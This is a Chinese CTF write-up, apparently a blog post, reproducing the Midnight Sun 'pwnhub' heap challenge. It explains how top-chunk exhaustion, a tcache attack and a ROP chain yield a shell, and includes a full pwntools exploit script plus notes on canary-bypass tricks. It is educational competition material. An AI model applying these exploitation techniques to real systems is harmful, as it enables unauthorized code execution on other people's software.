Midnight-sun pwnhub复现

Midnight-sun pwnhub复现

这题比赛的时候跟队友大眼瞪小眼看了半天,house of orange 和house of force都不能用,莫得什么好的思路… 赛后找到了2019大佬的wp,做了一下复现

环境问题

题目本身给了一个启动脚本 LD_LIBRARY_PATH=./lib/ ./lib/ld.so --preload libdl.so.2 ./pwnhub
做题的时候抄到脚本里面,结果发现gdb断到bash上面去了…进不了程序
看了2019的脚本发现正确的写法是这样子的

p = process("./lib/ld.so --preload libdl.so.2 ./pwnhub".split(),env={"LD_LIBRARY_PATH":"./lib/"})

查了pwntools的文档里面确实写了env需要单独指定,而且argv是一个list,executable是argv[0],官方给的样例也给出了这种多级调用的情况。至于为什么execute是ld.so,gdb却能断到程序本身,我觉得大概是自动设了follow或者干脆就是没有起新进程,ld.so装载完程序直接jump了

程序分析

传统堆题格式,给了read、leak、malloc三个功能。
leak是直接打印一个栈地址处(addr)的内容,一开始里面也是个栈地址,之后会被置为malloc出的堆地址。

read是往addr指向的地址处写特定长度,初始长度为0xff

malloc是根据输入的size+1进行malloc,然后将addr指向的地址换成malloc出的堆地址,read长度换成输入的size。

攻击思路

一开始,栈上0xff的read肯定有溢出,但是有canary,没办法利用。考虑堆攻击。
题目没有free,但是malloc里面,v3为signed int,如果令v3==-1,就会实现malloc(0),同时read长度置为0xff,也就是有堆溢出。这种情况下首先考虑house of force/orange。但是二者都要求malloc大小需要为较大的数,尝试了malloc负数,但被libc拦下来了…然后队友通过溢出改小top chunk再通过申请耗尽,最后拿到了tcache的free chunk。我们做到这里就无了…以下是看2019大佬wp得到的思路
—————————————————————————————————————————————
其实队友的思路已经比较接近了。耗尽完top chunk,它会通过sysmalloc再开辟一块top chunk,
而原top chunk在去除结尾0x20大小之后,被进行了free。通过不断重复溢出改top chunk+申请耗尽,可以不断获取到free的tcache chunk,最终获取到free的fastbin chunk。然后,当再次发生
top chunk耗尽时,由于有fastbin chunk存在,会进行malloc consolidate,最终使前一次耗尽产生的free fastbin转化为unsorted bin,而本次耗尽产生的依然通过free放入fastbin。

在这里插入图片描述
耗尽过程如上图所述。注意第一个top chunk含tcache_perthread_struct结构,耗尽方式略有不同。
最后两个top chunk如下图所示:
在这里插入图片描述
溢出到fastbin之后就是常规的fastbin 攻击,改写fd,两次申请拿到addr指向的地址,改写为返回地址,改写输入长度,再打rop即可。

exp

下面是我个人改写的exp,fastbin attack需要合适的错位,比较受限,我通过增加一次耗尽,获取了两个同size tcache,将攻击方式换为tcache attack,一定程度提高了稳定性。(tcache同样是LIFO,后一个释放的tcache会先被拿出,所以可以进行溢出)

# -*- coding:utf-8 -*-
from pwn import *                                                
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p  = process("./lib/ld.so --preload libdl.so.2 ./pwnhub".split(),
		env={"LD_LIBRARY_PATH":"./lib/"})
#p = remote('127.0.0.1', 10001) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
#e = ELF()
#gdb.attach(p,'b* 0x401398')


#local_file = 
#libc  = 
#elf = ELF(local_file)



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims 	    :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))



def read(content):
    p.recvuntil('> ')
    p.sendline('1')
    p.send(content)    

def leaks():
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('leak: ')
    leak=u64(p.recvuntil('\x7f').ljust(8,'\x00'))
    return leak

def leakh():
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('leak: ')
    leak=u64(p.recvuntil('\x55').ljust(8,'\x00'))
    return leak

def alloc(i):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('size: ')
    p.sendline(str(i))

def quit(i):
    p.recvuntil('> ')
    p.sendline('4')

def make_free(i):
	for k in range(i): 
		alloc(-1)
		#第一个0x80 tcache
		if (k==0):
			heap=leakh()
			info('key,',heap)
			#通过leak获取tcache的key,
			read('a'*0x18+p64(0xd51))
			alloc(0x40)
			for j in range(22):
				alloc(0x80)
			alloc(0x80)
		elif(k!=9):
			read('a'*0x18+p64(0xf51))
			alloc(0x20)
			for j in range(26):
				alloc(0x80)
				#sla('>','2')
			alloc(0x80)
		#单纯为了填充的0x70 tcache链
		else:
			read('a'*0x18+p64(0xf51))
			alloc(0x40)
			alloc(0x40)
			for j in range(25):
				alloc(0x80)
			sla('>','2')
			alloc(0x80)
		#第二个0x80 tcache
	return heap	

stack=leaks()
info('stack',stack)

heap=make_free(10)
read(p64(0x43070)+p64(0x20))
#伪造unsorted bin尾过检查
alloc(-1)
read('a'*0x18+p64(0x43071))
#溢出,构造大unsorted bin
for i in range(966):
	alloc(0x80)
	#耗尽,直到下一个top chunk中的free fastbin之前为止
alloc(0x30)
alloc(0x80)   #overlap chunk

ret_addr = stack - 9 + 0x118
read('a'*0x10+p64(0)+p64(0x81)+p64(ret_addr)+p64(heap-656))
alloc(0x70) #tcache attack
alloc(0x70)

#以下rop部分照抄了2019大佬,因为不影响
———————————————————————————————————————————————————————————————————————
pop_rdi = p64(0x4015e3)
rop = pop_rdi + p64(0x405018) # rdi = address of got entry of puts
rop += p64(0x401368) # leak
rop += pop_rdi + p64(ret_addr + len(rop) + 3 * 8) # rdi = fake struct below
rop += p64(0x401336) # read
rop += p64(ret_addr + len(rop)) + p64(0x100)
# fake struct for read ROP function, its ptr points to itself
read(rop)

p.send(b'4')
p.recvuntil(b"leak: ")
libc_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - 0x783a0
# get leaked libc addr

#change rop2 according your system
rop2 = pop_rdi + p64(libc_addr + 0x18e1b0) # rdi = "/bin/sh" 
rop2 += p64(libc_addr + 0x49970) # system
rop2 += p64(0)
p.send(rop2)

p.interactive()

ps

赛后听说了一堆奇技淫巧的做法。

  • 通过栈溢出改环境变量设置MALLOC_MMAP_THRESHOLD_=1, 迫使用mmap分配堆块。因为ld和libc间没空隙,mmap到的堆块分配到canary依赖的fs:0x28下方,然后通过堆溢出覆盖把fs:0x28覆盖成固定值绕过canary做rop。
  • 通过改malloc_top_pad来减小sysmalloc出的top chunk间距

大佬们tql 感谢队友 www

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值